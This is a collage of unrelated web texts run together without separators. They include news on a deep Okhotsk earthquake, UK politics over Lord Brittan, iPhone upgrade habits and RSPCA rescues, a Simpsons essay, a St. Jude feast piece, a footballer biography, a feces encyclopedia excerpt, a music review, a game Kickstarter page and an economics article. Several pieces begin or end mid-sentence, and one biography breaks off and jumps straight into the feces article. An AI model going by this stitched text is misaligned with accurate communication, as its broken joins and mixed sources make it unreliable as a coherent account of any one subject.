“August showed us that Russia is our enemy,” said Ms. Gabinashvili, whose family fled Gori as Russian soldiers entered. “Ossetians are not enemies, they are just toys in the Russians’ hands, but eventually they will realize this.”An extraordinarily deep earthquake shook Russia’s Far East this morning. The magnitude-8.3 quake took place nearly 610 kilometres below Earth’s surface, according to preliminary estimates from the US Geological Survey.
Normally rocks at this depth are too hot to rupture quickly in a quake; instead, they deform slowly, like hot wax flowing rather than cold wax shattering. But beneath the Sea of Okhotsk, north of Japan and west of Russia’s Kamchatka Peninsula, the sea floor — a slab of old Pacific crust — is diving beneath Eurasia. The crust is descending fast enough — about 8 centimetres per year — to remain cool enough to rupture even at great depths. The diving plate is thus seismically active down to 650 kilometres or greater.
The epicentre of today’s quake was about 400 kilometres northwest of the city of Petropavlovsk-Kamchatsky. Deep quakes cause less damage than shallow ones, and early news reports suggest that injury and damage were minimal, although the shaking was felt as far away as Moscow. (Pictured, at right, is the seismic signal as recorded in Ruedersdorf, Germany.) A tsunami warning was issued and lifted soon thereafter.
A series of smaller quakes, up to about magnitude 6.0, had shaken just south and east of Petropavlosk-Kamchatsky over the past several days. But they were far shallower. Figuring out how the shallow earthquake swarm and the large deep quake are related — if they are — is likely to be a topic of intense study.
The Okhotsk quake rivals and perhaps surpasses the magnitude-8.2 quake that hit northern Bolivia on 9 June 1994. That one occurred 631 kilometres deep, reshaping geologists’ ideas about how earthquakes could occur so far down.
Images: USGS; GFZLike a lot of people, I’m a fan of The Simpsons. Actually, “fan” isn’t quite the right term. Aficionado, maybe. Or devotee. Or maybe I’m a crazed, drooling Simpsons addict. Any of those would work.
And, like many crazed, drooling Simpsons addicts are prone to do, I haven’t watched the show in years.
Intrigued? I know I am. Let’s continue on, shall we?
Alas, I no longer turn my TV to FOX every Sunday night at eight. And the reason is simple- The Simpsons is terrible. Awful. Unfunny and sad (alcoholic clown-sad, not Bambi’s mom-sad).
It wasn’t always this way, of course- back in the early to mid nineties, The Simpsons was the smartest, fastest, funniest show on television, and a monstrously huge pop culture phenomenon to boot. Nowadays it’s a shell of its former self.
But that’s neither here nor there, because what I’m here to talk about is how The Simpsons makes reference to pop culture. Referencing popular TV shows and movies has long been a hallmark of The Simpsons’ signature style of humor, but what I’ve noticed recently is a marked change in how The Simpsons uses these references.
Allow me to demonstrate.
Last Exit To Springfield, where Homer becomes the head of a labor union (this is considered in most circles to be one of the all-time greatest episodes of The Simpsons ever made- USA Today, Entertainment Weekly and BBC News all list it as the number one episode in the show’s run) is an episode chock full of pop culture references. Take, for example, the scene where Mr. Burns abducts Homer and brings him to the aviary in his unbelievably lush mansion. The very first shot we see in the aviary is this:
And then the bird flies off as Burns attempts to negotiate with Homer about various union wheelings and dealings.
Or take Homer’s fantasy about using his newfound position as head of the union to dabble in organized crime- he imagines himself strolling down the streets of some little Italian village, accepting offerings of donut-y goodness from humble villagers. The fantasy looks a little something like this:
Now to the average viewer, these moments just come off as normal jokes. Burns has created a bird that looks exactly like him, and that’s the joke. Mafia Homer would obviously accept payment in donuts (plus, his soft mutterings of “grazie” and “molto bene” always elicit a chuckle out of me) and that’s the joke. Neither of them are extraordinarily funny, but there’s an obvious bit of humor behind each gag.
Those with a keener eye for film, however, get what’s really going on. That image of the Burns-headed bird?
Taken right from Citizen Kane. The same goes for Don Homer…
…who dresses and acts exactly like Don Fanucci from The Godfather, Part II.
Now let’s look at something from a recent Simpsons episode- The Book Job. We open with the Simpson family attending a newfangled animatronic dinosaur show- Sitting with Dinosaurs.
You know, like Walking with Dinosaurs (or, more specifically, the live Walking with Dinosaurs arena show that toured the US a few years ago). Only this one has a different name!
That’s the joke.
Then later, once we actually get inside the stage show, Homer and Lisa run past three dinosaurs lighting up some cigarettes:
Which is an image from Gary Larson’s The Far Side.
It’s a little more clever than Sitting with Dinosaurs was, but both of these references are just that- references. There’s no real attempt to do anything creative with them or alter them in any way, and they stick out like a sore thumb in the context of the episode.
Because here’s the thing- references aren’t funny. They can be funny, if used in a funny, clever way, but an obvious, straightforward reference isn’t actually a joke in and of itself.
Parks & Recreation.
See? Me saying that wasn’t a joke. Now, if I had really derided the idea of poorly-used pop-culture references to the point where I was almost foaming at the mouth, then made some underhanded remark about them being almost as bad as Jerry Gergich (from Parks & Rec), then that would be more of a joke. Not exactly a genius joke, mind you, but I’m taking something pop culture related and attempting to spin it some way to make it funny.
With those two examples from The Book Job, there’s no spin. There’s barely any change at all between the source material and what we see on the show. The whole thing reeks of a lack of effort and a lack of creativity.
And there’s one more thing- your average schmuck who sees that Burns-bird will think “hey, that bird kinda looks like Mr. Burns,” for maybe a second or two, and then the episode moves to new territory and the viewer moves with it. It doesn’t work that way with the Far Side gag- we’re in the middle of a chase sequence and everything stops so we can take a really close look at these smoking dinosaurs.
Plus, if you actually think about what’s happening in the Simpsons version, it makes no sense. Sitting with Dinosaurs is an animatronic show, so why are there any guys in suits at all? And why are they smoking out of the dinosaurs’ mouths? No one would actually be able to inhale cigarette smoke from the mouth of a costume that’s several feet above your own head and may or may not actually have a hole to breathe the smoke into.
These are some seriously small nitpicks, but they serve a purpose- this Far Side gag isn’t in the episode to serve the story, or even to be particularly clever. Someone clearly just said, “Hey, let’s put those Far Side dinosaurs in here,” and then inserted them in without any sense of plausibility or humor.
Now if you’ve never read The Far Side, then you’ll never get the reference anyway and those few seconds when the dinosaurs are onscreen suddenly become dead air. It’s a gag that requires previous knowledge of something to be funny, and there’s absolutely no way to realistically guarantee that every single member of the audience will have that previous knowledge.
But if you haven’t seen The Godfather Part II, that Don Fanucci reference won’t lose you because the whole gag doesn’t hinge on one particular piece of pop culture.
What I’m trying to say is that a pop culture reference needs care. It needs to be well-thought out. A great reference should give you a warm feeling of satisfaction because you can understand or identify something that not everyone else can. It should feel like a reward.
I mean, it should be funny, too. But that’s kinda besides the point.
All images are the property of their respective owners (aka not me) and are low-quality reproductions used solely to entertain and inform, with absolutely no commercial benefit going to yours truly, thus falling under Fair Use.
AdvertisementsFeast of St. Jude in Mexico City (all photographs by Toni François)
Practically unknown in Mexico before the 1980s, St. Jude Thaddeus has catapulted to the top position among Catholic saints in the country with the world’s second largest Catholic population. No other canonized saint rivals the popularity of San Judas, the patron of lost causes. Only the Virgin of Guadalupe and folk saint Santa Muerte can compete with St. Jude for Mexican souls. And over the past decade, competition between the nation’s number one Catholic saint and its top folk saint has become very intense, to the point that St. Jude in Mexico is now the only Catholic saint in the world who has a monthly feast day.
Until a decade ago, the green and white cloaked saint only had an annual feast day — October 28 — exactly like his thousands of fellow Catholic counterparts around the world. However, the unexpected arrival of Santa Muerte, a new, heretical grassroots saint personifying death, changed everything. Just a few miles down the road from the famous St. Jude shrine in Mexico City at San Hipolito Church, Santa Muerte pioneer Enriqueta Romero (affectionately known as Doña Queta) has been holding a monthly rosary service dedicated to skeleton saint. It was in response to new competition from Saint Death that enterprising priests at San Hipolito Church decided to initiate St. Jude feasts, celebrated on the 28th of each month.
As seen in these stunning photographs of St. Jude’s annual feast day on October 28, 2014, the celebrations of the patron of lost causes are wildly colorful affairs with devotees from all walks of Mexican life, but especially the working classes, lugging life-sized statues of the holy man, and many others dressed in his trademark green and white garb, which are two of the three colors of the Mexican flag. What really stands out at the monthly fiestas attended by thousands is the presence of marginalized teens and 20-somethings, hundreds of whom are huffing glue and smoking marijuana on the sidewalks that abut the temple. Ironically, the saint who is depicted with the flame of the Holy Spirit on his forehead, has a reputation for healing drug abusers. In fact this has been an important part of the ministry at San Hipolito Church, which now promotes a line of St. Jude bottled water.
The strong contingent of marginalized youth and even criminals makes San Judas every bit as fascinating the Bony Lady down the road. In theory, one of Santa Muerte’s strong appeals is that since she isn’t a Catholic saint, some devotees feel freer in asking her for unsavory favors. However, it turns out that even though he is a canonized saint, Jude is also often asked to perform miracles that aren’t up to Christian standards of morality. This has become such a concern to the Catholic Church that in 2008 the Archdiocese of Mexico City released a statement warning against such unorthodox practices. One such unorthodoxy is the belief by more than a few devotees that when St. Jude is represented with the staff in his left hand, he is open to prayers and petitions that he would never consider with the staff at his right.
Mexico’s top photographer of the country’s religious landscape, Toni François, and I recently collaborated on a Santa Muerte story in Tepito. Her photoset below is the most compelling I’ve ever seen of the celebration of Mexico’s most popular Catholic saint.
All photographs by Toni François, with more here.
Dr. Andrew Chesnut is Professor of Religious Studies at Virginia Commonwealth University and is author of the only book on Saint Death in both Mexico and the US, Devoted to Death: Santa Muerte, the Skeleton Saint. David B. Metcalfe and he direct Skeletonsaint.com, a site dedicated to news and analysis of the fastest growing new religious movement in the Americas.Tom Watson should examine his conscience over the way he forced police to reopen an investigation into former Tory home secretary Lord Brittan, David Cameron has said.
The remarks by the Prime Minister come as a number of Conservative MPs are set to demand on the floor of the Commons that Mr Watson makes a personal apology for his actions.
On a visit to Devon, Mr Cameron said that Mr Watson had questions to answer and needs to examine his conscience, according to a report on Twitter.
Mr Cameron said: "It's clear he's got a lot of questions to answer and the House of Commons select committees are quite rightly going to ask him some questions and so I'm sure that he should answer those questions and examine his conscience about whether he's said enough so far."
On Sunday Sir Nicholas Soames, told The Telegraph that he and other Tory MPs will ask a series of points of order in the Commons’ Chamber to put pressure on Mr Watson to apologise.
He said Mr Watson “must now come and make his amends on the floor of the House of Commons by way of a personal statement apologising for what he has done and apologising most importantly to Lady Brittan and to Leon’s family for the monstrous lies and abuse that have been peddled about Lord Brittan.
“One has to question what were Tom Watson’s motives in all this. Why did he do it?
“He must have had some inkling that it was not quite right, otherwise he would have said it outside the House of Commons.”
Mr Watson said last week that he was sorry for the distress caused to Lord Brittan’s family “but I wanted the claims made against him properly investigated”.
He added: “Leon Brittan would have been interviewed even if I hadn’t intervened because the DPP made it clear in her reply to my letter that the police investigation into him was ongoing.”
MPs are set to demand that Mr Watson apologise publicly in the House of Commons for his role in forcing police to question Lord Brittan over allegations of rape.
The Labour deputy leader’s intervention in the police investigation, which was reopened even though officers had decided there was no case to answer, has come under increasing scrutiny in recent days.
The pressure is likely to intensify today when Tory MPs will ask a series of points of order in the Commons’ Chamber to attempt to force Mr Watson to apologise for telling "monstrous lies" about Lord Brittan.
Mr Watson is also likely to face grilling from an influential MPs committee over his role in publicising unsubstantiated allegations about an alleged VIP paedophile ring operating around Westminster during the Seventies and Eighties.
The former Conservative home secretary went to his grave with the shadow of a rape allegation hanging over him, despite the fact that police had dismissed the case over the lack of evidence.Ángel and the second or maternal family name is Arango. This name uses Spanish naming customs : the first or paternal family name isand the second or maternal family name is
Juan Pablo Ángel Arango (born 24 October 1975) is a retired Colombian footballer who last played as a forward for Atlético Nacional in Categoría Primera A.
He began his career at Nacional, whom he helped to win the championship in 1994, and then moved to River Plate of Argentina, where he was the league's top scorer in 2000. The following year he moved to Europe, joining Aston Villa of the Premier League for a club record £9.5 million. In 2007, he moved to the United States, where he played for three clubs in Major League Soccer before returning to Atlético Nacional in 2013.
Ángel was also a full international for Colombia, and made 33 appearances from his debut in 1995, scoring 9 goals.
Career [ edit ]
Atlético Nacional and River Plate [ edit ]
Ángel started playing professional football at Atlético Nacional in his home city of |
medical procedure wherein fecal bacteria are transplanted from a healthy individual into a patient.[29][30] Recent research indicates that this may be a valuable method to re-establish normal gut cultures that have been destroyed through the use of antibiotics or some other medical treatments.
Biogas production [ edit ]
The biogas produced from feces when it is contained in sewage and treated in an anaerobic digestion process could be worth as much as 9.5 billion dollars.[31]
Washington DC plans to produce biogas from sewage sludge, the by-product of sewage treatment, which will save 13 million dollars a year.[32]
Paleofeces [ edit ]
Paleofeces, also known as coprolites, are ancient human feces, often found as part of archaeological excavations or surveys. Intact feces of ancient people may be found in caves in arid climates and in other locations with suitable preservation conditions. These are studied to determine the diet and health of the people who produced them through the analysis of seeds, small bones, and parasite eggs found inside. They also may be analyzed chemically for more in-depth information on the individual who excreted them, using lipid analysis and DNA analysis. The success rate of usable DNA extraction is relatively high in paleofeces, making it more reliable than skeletal DNA retrieval.[33]
Society and culture [ edit ]
Disgust and shame [ edit ]
In all human cultures, feces elicit varying degrees of disgust. Disgust is experienced primarily in relation to the sense of taste (either perceived or imagined) and, secondarily to anything that causes a similar feeling by sense of smell, touch, or vision. As such, human feces is regarded as something to be avoided diligently: expelled in private and disposed of immediately and without a trace. It often is considered an unacceptable topic in polite conversation and its mere mention may cause offence in certain contexts.
An example of repulsion by feces from the ancient world is found in the writings called Deuteronomy used by Jews and Christians:
Designate a place outside the camp where you can go to relieve yourself. As part of your equipment have something to dig with, and when you relieve yourself, dig a hole and cover up your excrement. For the LORD your God moves about in your camp to protect you and to deliver your enemies to you. Your camp must be holy, so that he will not see among you anything indecent and turn away from you.[34]
Anal cleansing [ edit ]
People from different cultures employ a variety of personal cleansing practices after defecation. The anus and buttocks may be either washed with liquids or wiped with toilet paper or other solid materials. In many Muslim, Hindu and Sikh cultures, as well as Southeast Asia and Southern Europe, water is usually used for anal cleansing using a jet, as with a bidet, or most commonly, splashed and washed with the hand. In other cultures (such as many Western countries), cleaning after defecation is generally done with toilet paper only.
Terminology and other terms used [ edit ]
There are many synonyms in informal registers for human feces. Many are euphemismistic, colloquial, or both; some are profane (such as shit), whereas most belong chiefly to child-directed speech (such as poo or poop) or to crude humor (such as turd).
Human feces together with human urine are collectively referred to as human waste or human excreta.
See also [ edit ]
References [ edit ]Sarah Tew/CNET
iPhone owners in the United States are apparently no longer in such a rush to upgrade to the latest version of the gadget.
Among people who upgraded from an old iPhone to a new one, the age of the old phones has increased over the past several years, meaning people are waiting longer to upgrade, according to data released Tuesday by research firm Consumer Intelligence Research Partners.
For the 12 months ending June 2013, 34 percent of iPhones were at least two years old when replaced. But since June of 2014, that figure has been hovering at around 50 percent. CIRP based its data on surveys of almost 3,000 Apple customers in the US.
Smartphone makers such as Apple depend on sales not just from new buyers but from current owners who upgrade to the latest model. The notion is that an iPhone owner who gets hooked into the Apple ecosystem is more likely to remain a customer. However, Apple needs to make each new iPhone upgrade-worthy or current owners may just rely on an existing device.
The pace of iPhone upgrades has lost speed for two reasons, according to CIRP co-founder Josh Lowitz.
First, the rate at which innovative, must-have features pop up in each iPhone has slowed.
Second, smartphone buyers used to purchase their devices via subsidized plans that lasted two years. After time was up, you upgraded to the latest model. Now, mobile carriers force you into finance plans whereby you pay the full cost of the phone. The benefit behind such plans is that you can upgrade to a new phone once per year by trading in your existing one. But many consumers may not take advantage of that benefit, according to Lowitz.
"Today, phone financing plans effectively reward customers who have paid for their phone in full," Lowitz said. "This motivator appears to outweigh the impact of any early upgrade options that carriers offer with the new financing plans, and the increased availability of trade-in programs and used-phone purchase websites."
Apple declined to comment on CIRP's data.GRAND BLANC TOWNSHIP, Michigan --
Some friendships know no limits. Police responding to a burglar alarm at a South Saginaw Road medical facility found an open refrigerator and some missing urine samples.A set of footprints led them to a 26-year-old Swartz Creek man who didn't deny breaking into the facility but said he didn't want to talk about it. Nearby, officers found a backpack with two urine samples inside. But it wasn't his urine, said Genesee County Prosecutor David S. Leyton. Turns out the guy's buddy had given the samples for his job at a hospital, then asked the man to steal them because was worried they would come back positive for marijuana. "That's what I call a really good friend," said Leyton. And a really stupid one. The stunt got him a 10-year felony breaking and entering charge.iovation, the leading provider of device-based solutions for authentication and fraud prevention, today announced it has secured a patent entitled “Systems and Methods for Group Authentication.” The group authentication patent enables multiple parties in different locations to approve a transaction with their mobile devices.
“The two-man rule is a well-known control mechanism for securing vital actions; it’s why many governments require the presence of two simultaneously-authenticated personnel in order to obtain access to certain sensitive information or perform a critical action as highly charged as launching a nuclear intercontinental ballistic missile,” said Geoffrey Sanders, Product Director of LaunchKey at iovation. “In fact, it was the classic depiction of two missile launch officers authenticating with two separate physical launch keys that inspired the name LaunchKey. In today’s on-the-go distributed society, having two people physically present to perform an action is not always possible. This patent covers the systems and methods for authenticating and obtaining the real-time authorization of a remote group or subset of that group.”
Traditional authentication with numerous parties has required sending papers to be signed or, worse yet, allowing passwords to be shared. iovation’s patent enables multiple people to authorize a transaction from their mobile devices. This can be accomplished through multiple device authentication methods like biometric fingerprint scan, verification of a PIN or pattern code, or geofencing.
In its patent application, iovation outlined a number of scenarios covered by group authentication:
A business user needs to ship an item but requires manager approval before doing so
Business partners wish to sign off on large financial transactions together while working remotely from one another
Updating software may require approval from a group of developers and a single project
A child needs permission from two parents to watch a movie, but neither one of them is present
The group authentication patent builds upon the company’s recently launched iovation LaunchKey MFA (multifactor authentication) solution. It is the first service allowing businesses to enable customers to select the authentication and authorization methods they prefer, while retaining the ability to dynamically change the amount of customer authentication required at any given time.
A video about iovation’s new patent is at https://vimeo.com/iovation/group-authentication-patent.“You hate me don’t you? I know you hate me as much as you hate yourself.” Kendrick Lamar’s first major statement since he released “i” in September is as fierce and discordant as that song was naïve and sweet. But both are flip sides of the same coin—the issue of self-love. It is clearer than ever, as his follow-up to good kid, m.A.A.d city takes shape in public, that Kendrick considers self-love—it’s absence, its persistence even in the face of overwhelming societal discouragement—his great subject, the reason he’s rapping. “i” was the song that gazed at the clouds, that looked deep within for reasons to love oneself. “The Blacker the Berry” balefully surveys world around him.
It begins with a loop, dark and bleary, more Enter The Wu-Tang than Aquemini. His recitation of “blacker the berry, sweeter the juice” instantly brings to mind 2Pac’s “Keep Ya Head Up”, but just as in 2Pac’s song, the line has a wistful, even wishful ring. His voice is angry, ragged, his delivery pitched between near-scream and near-sob, but his words are clear and diamond-cut: “Gangbanging got me killing a nigga blacker than me, hypocrite.”
It’s a performance of abandonment, and part of how it flattens you is with control and discipline: His cadence runs roughshod over the beat, hitting it the way a sprinting foot hits pavement—at angles, irregularly, and with a painful muscle-twisting sense of urgency. His lines cut through everything, abandoning his occasional tendency to fill up lines with melodious filler syllables: “I mean, it’s evident that I’m irrelevant to society/ That’s what you’re telling me, penitentiary would only hire me.” It might be his most focused and upsetting performance, evoking not just the Pac of “Keep Ya Head Up” but the righteous firebreather of “Holler If Ya Hear Me”. We’re listening.Weave attacks together using the combo system and chain them into powerful combos. But you have to choose: do you save up your Action Points for a big, but slow, combo, or do you take an opportunity to land a smaller combo right away? Or perhaps you play patiently, and work your opponent into a bad position so you can execute a devastating combo while their guard is down.
Learn which moves suit your playstyle, build the ultimate team, and fight to determine the future of Iskendrun!
City of the Shroud is up and running on Windows and OS X, and we intend to release the final game via Steam. We’re currently looking into other platform possibilities - it's just a matter of funding that determines what we can support.
City of the Shroud's musical style combines a fantasy orchestral sound with Middle Eastern and contemporary influences. Click on the sample tracks below to listen for yourself!
The chaos will force you to seek out allies, but it is only now, captive and hunted, that you realize those same allies may be in league with the one who has created the Shroud...
You are a child of the desert, journeying to the once-great city to escape the war and earn a living. Instead, you find yourself trapped in the city as a magical shroud descends, holding all captive. As the faction leaders accuse one another of creating the otherworldly cage, the simmering conflict in the city threatens to erupt into civil war.
While the battle rages far to the north, the people of Iskendrun struggle with desperate poverty, the flood of refugees from the other city states, and the ruinous in-fighting of the city’s most powerful citizens. Fields lie fallow and once-prosperous merchants rely on the charity of the city's priests.
A tenuous peace held across the peninsula for centuries, but in the last ten years, three of the five cities have fallen, and Iskendrun battles Baysan, its only remaining rival, for control of the ruins.
One of the last remaining cities on the Zuwar peninsula, Iskendrun was founded centuries ago when the five houses of the original Merchants Guild abandoned their caravans and became nobility.
Want to stand out from the crowd? Back us at the $250 tier, and not only do you get direct access to the dev team as we build and structure the system, you can create character assets that will be unique to you and you alone!
City of the Shroud is built to support character asset modding, straight from the get-go. Each character model is assembled from several individual pieces, so you can build, mix, and match parts to create the perfect character for you.
There are three character classes implemented into the demo, and the final game will feature six character classes in total. Each comes with their own set of unique abilities and strategies. The three currently in the game are:
SPECIAL THANKS TO ALL THE AWESOME PEOPLE HELPING MAKE THIS POSSIBLE
Matt Gambell for the awesome trailer, Tom Pickard for the awesome environment assets, Susan Evans for the awesome art support, Eduardo Garabito for the awesome PR advice, Sock Thuggery for being awesome, the Brighton Game Collective for their awesome support, and many more!
Eternal Love and Gratitude: Back the project at any amount to receive this reward. From the bottom of our hearts, thank you for supporting us.
Digital Copy of the Game: Receive a digital copy of the game on Windows / Mac. We intend to distribute the game over Steam, so this reward will be in the form of a Steam key.
Name in Credits: Get your name in the credits (or even put "Hi, Mom!", since all our mothers will appreciate that one).
Wallpaper: A digital wallpaper to adorn your desktop or mobile device's background.
Early Access: Get access to the game early as we add content, tune moves, improve features, etc. The game already runs reliably on Windows and Mac, so we're all set to go. Best of all, you can tell us what you think and help make the final game better for everyone.
Soundtrack: Get a digital copy of the soundtrack by real-live British person Chris Nairn (he's also a talented composer to boot).
Exclusive Beta Forums Access: We'll have special forums for Early Access players to discuss the latest gameplay changes and give feedback and suggestions directly to the team. We'll e-see you there! (You can always sign up for our forums to talk to us normally too!)
Short Story Collection: A collection of short storiesby Moira, exclusive to this Kickstarter. There will be one short story per leader, set in Iskendrun long before the events of City of the Shroud, giving you a glimpse into their lives, who are they are, and why they think the way they do.
Making-Of Journal: A collection of concept art, developer diaries, design notes, and more that covers the evolution of the project and gives you insight into how everything went down behind the scenes. This one will ship out AFTER the story is complete, since otherwise we'd only be telling part of the tale!
Early Access to Character Customization: City of the Shroud supports character appearance modding, and this reward will get you in on the action early, with a direct line to the team so that we can get things working in the best way possible, and you can show off your stuff as soon as we launch.
Exclusive Customization: Ever wanted to be totally unique in a game? Well, now you can - build your ideal character outfit and we will implement it into the game and make it exclusive to you. (You supply the parts, we'll work together to make sure they're compatible with animation, etc., and then implement them into the game for you.)
Custom Visual Effects Color: In addition to any fancy duds you bring to the party, you can choose a unique visual effects color to go with your outfit... or to make a completely unrelated statement - it's up to you!
Name an Achievement: Does what it says on the tin. Work with us to find the perfect achievement for you, and then go ahead and name it the worst pun you can possibly imagine. Limited to the first 50 backers at this level.
Early Access to All Future Betas of Abyssal Arts Games: Get access before anyone else to all betas of future games by Abyssal Arts. We'll send you builds of our work long before anyone else so you can give feedback and influence their development first.
Digital Copies of All Future Abyssal Arts Games: You gave feedback, now get the game. You get a digital copy of all our future titles once they're released.
Appear in a Quest: There are many stories to be told in Iskendrun, and yours is one of them! Work with us to put yourself (or a character of your creation) into one of the many events waiting in the city. Comes with a shout-out in the credits as well.
Design a Map: Design one of the maps people fight on! Specify the layout, setting, and environment style that you want, and we'll build a level to match and put it in the game. We'll also include you in the credits with a special shout-out!
Design a New Ability: Got an idea for an ability that would be just too-cool? Well, now you can brute-force (see what I did there?) it into the game. Work with us to design a special ability for the class of your choice, and get a special shout-out in the credits too.
Star in a Series of Quests: One quest not enough? Do you yearn for a whole chain of quests? Then this is perfect for you. Work with us to make a series of quests starring yourself or a character of your creation, and get an extra-special place in the credits.
Unique Character Portrait: We will paint a custom piece of portrait art just for you to use as your protagonist's image in the game. Use it as an avatar, show it off on YouTube, or hoard it and never let another soul lay eyes on it (except Samogon, of course).
Poster Image of Your Character: We will work with you to design a custom-painted poster image based on your unique portrait (or whatever you want to include - its your image!). For best results, we recommend waiting until the campaign is over so that there is plenty of material to draw upon. Once the image is complete, we will have it printed and shipped to your door.Media playback is unsupported on your device Media caption Thousands of animals were rescued by RSPCA Cymru in 2016
Twenty one animals were rescued in Wales every day in 2016, figures from the RSPCA show.
The rescues included a kitten trapped on a wall in Pembroke Castle, a bearded dragon saved from a Monmouthshire doorstep, and a sheep rescued from barbed wire on Christmas Day.
Statistics also showed around 10,500 animal cruelty complaints were made.
And 7,000 warning notices were issued by RSPCA officers - an increase of 22.95% on the previous year.
Image copyright RSPCA Image caption A kitten trapped in Pembroke Castle was one of 7,642 animals rescued in 2016
The charity said it had "much to celebrate across Wales in rescuing, re-homing and rehabilitating animals".
The new data is included in RSPCA Cymru's annual summary which shows the scope of its work in Wales in 2016.
Prosecutions increased for the first time in three years, with a total of 120 convictions.
But the charity said that, while prosecution activity is important, it is a very small proportion of its core work.
Claire Lawson, the RSPCA's assistant director of external relations, said: "A huge surge in the use of welfare and improvement notices outlines our successful commitment to educating and working with animal owners."Fred Claire had a route in every city. At home or on the road, he had to get his six miles in every day. As the Dodgers’ general manager from 1987 to 1998, Claire was the rare AARP-eligible jogger crossing the Roebling Bridge into Kentucky from Cincinnati, or tracing the bank of the Allegheny River outside Pittsburgh’s Three Rivers Stadium, running wherever the baseball schedule took him.
Now 81, Claire remembers being diligent about wearing sunscreen.
“But not the gloss on my lip,” he said.
Sun and time can be the baseball lifer’s worst enemy, deadly if left alone to conspire with the fate of a man’s skin. By January 2015, what looked like a harmless spot on Claire’s lip turned out to be squamous cell carcinoma, a cancerous manifestation of hundreds of days spent in the sun. He underwent a minor operation to have the cells removed.
Claire went back to work on his baseball app, Scoutables; back to golfing; back to running three days a week, three miles at a time. Such was his routine until the cancer returned in August, this time worse than before.
“This incredible pain would come up, usually not in the morning but in the afternoon,” Claire said. “It would just bring me to my knees.”
Scans showed a nerve in the left side of his face “had literally been torn by cancer,” Claire said. Earlier this month, he had the nerve removed along with several lymph nodes in the same area. Beginning Nov. 7, Claire will undergo radiation and chemotherapy treatments to kill the malignant cells still pillaging his body.
Hindsight reveals a cruel irony: At the same time the sun was destroying his face, Claire was building the strength he needed to fight the battle of his life.
“Get yourself in as good of shape as you can because you never know what’s going to hit you,” Claire said on a recent afternoon from his home in Pasadena. “When you have trouble getting out of bed after an operation, you have to have the strength in your body to cope with that. Strength in your legs becomes very important. Strength in your arms becomes very important. I’m going to get in better shape than I’ve ever been in my life.
“I want to move. I want to go on. I want to contribute.”
For five days a week, at 10 o’clock in the morning each day, Claire will report to City of Hope in Duarte for radiation. Chemotherapy will run concurrently. The six-week treatment regimen is scheduled to end just before Christmas, but Claire isn’t looking that far ahead right now. Ask him for a prognosis and Claire says he’s taking it one day at a time, like an outfielder sidelined by a pulled hamstring.
At the moment he is enjoying the Cleveland Indians’ quest to win their first World Series since 1948.
When he was 13 years old and living in Jamestown, Ohio, Claire saw a print advertisement for a film reel of the just-completed 1948 series. He and his brother saved up their money and sent for the reel. With no TV in their home, the film became the brothers’ lifeline to a remote world. They watched the series over and over, to the point where Claire said he could recite every play in every inning.
To this day he still recalls details of blown calls and clutch performances from the Indians’ last triumph.
“That established my foundation,” Claire said.
Last week, Claire called into his office to catch up on voicemails. A get-well message from Vin Scully was waiting for him. Scully, who recently retired after 67 years as a broadcaster for the Dodgers, is one of many who have reached out since Claire publicly disclosed his battle last week.
Getting an early start in baseball made those relationships possible, and Claire doesn’t take them for granted.
By sharing his story, Claire hopes to pay it forward in a sense. He hopes that others, especially those in baseball who work in direct sunlight, will take steps to avoid the battle before him. His advice goes beyond merely taking care of your body.
“John Wooden said it: make each day your masterpiece,” he said. “Treasure each day that you have. And I mean that. I’ve loved every minute that I was with the Dodgers, but it didn’t start and end there. I consider myself to be extremely fortunate. Going back to a kid in Jamestown, I’ve lived the life of my dreams. Literally.”The Douglas County Sheriff's Deputy who has been hospitalized since being shot in September was discharged from Craig Hospital on Thursday and is back at home.
DC Sheriff tweeted out a video of Det. Dan Brite on his ride home for the hospital.
An emotional ride home this morning. Det Brite discharged from @CraigHospital calls in-service for the first time since 9/2. #britestrong pic.twitter.com/Q5BaL4QN0N — DC Sheriff (@dcsheriff) December 22, 2016
On Sept. 2, an armed suspect was seen walking near Sierra Middle School in Parker. When confronted by deputies, authorities say he shot Brite, critically injuring him.
The suspect, later identified as a 40-year-old Douglas County man, was shot and killed by a Parker Police Officer after a short chase.
The community has rallied around Brite and his family since the shooting, holding multiple blood drives and exceeding $50,000 in donations on a GoFundMe account.
Copyright 2016 KUSASO COMMON is anti-trade rhetoric in the election campaign that you might think America is about to erect a wall on every side. Donald Trump threatens to slap a 45% tariff on Chinese imports and to bully firms into returning their factories to America. Bernie Sanders proudly recalls his unwavering opposition to free-trade agreements, past and current. And Hillary Clinton, having supported the Trans-Pacific Partnership (TPP), the latest trade accord, as secretary of state, now opposes it.
Presidential candidates have taken such positions in the past. Barack Obama, who today peddles trade deals, slammed them in 2008. What makes today’s protectionism more potent is that it draws on broader changes in thinking among economists about the impact of trade. Many are now a good deal more critical.
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Since the 1980s, America’s economy has gradually opened up to cheap imports. This accelerated in 1993, when President Bill Clinton signed the North American Free-Trade Agreement (NAFTA) with Mexico and Canada. The deal, America’s first broad trade accord to include a poor economy, eliminated most tariffs on trade between the three countries over a decade. Coincidentally, within a year of the start of tariff reductions, the peso collapsed, making Mexican imports cheaper still. Excluding fuel (which America had to buy from somewhere) imports from Mexico grew by about five times between 1993 and 2013, according to the Peterson Institute, a think-tank. Exports to Mexico grew by about three-and-a-half times. As a result of the disparity, a bilateral trade deficit worth $23 billion (then, 0.2% of America’s GDP) opened up within five years.
The small size of Mexico’s economy—America’s is still well over ten times bigger—limited NAFTA’s impact. A greater shock was coming: in 2001 China joined the World Trade Organisation (WTO). Although this did not change any tariffs, a tsunami of cheap Chinese imports followed. “Made in China” labels became ubiquitous on clothes, toys, furniture and, eventually, electronics as Chinese imports surged from 1% of GDP in 2000 to 2.7% by 2015. The best explanation for this sudden inflow is that WTO membership gave certainty to investors in China’s export industries; until then, America could impose higher tariffs on China at will.
Many blamed the yuan’s peg to the dollar for creating a trade imbalance. By 2014 China had accumulated nearly $4 trillion in foreign currency to sustain the peg. Economists have always struggled to formalise the allegation that China manipulates the yuan. Over time, higher wage inflation in booming China should undermine the advantage of a weak currency. Wages have indeed risen much faster in China than in the West. China’s current-account surplus, which reached 10% of GDP in 2007, is often cited as proof of fiddling. But Chinese surpluses and American deficits are—as a matter of accounting—the difference between saving and investment in those countries. So China’s vast surpluses in part reflected its extraordinary propensity to save.
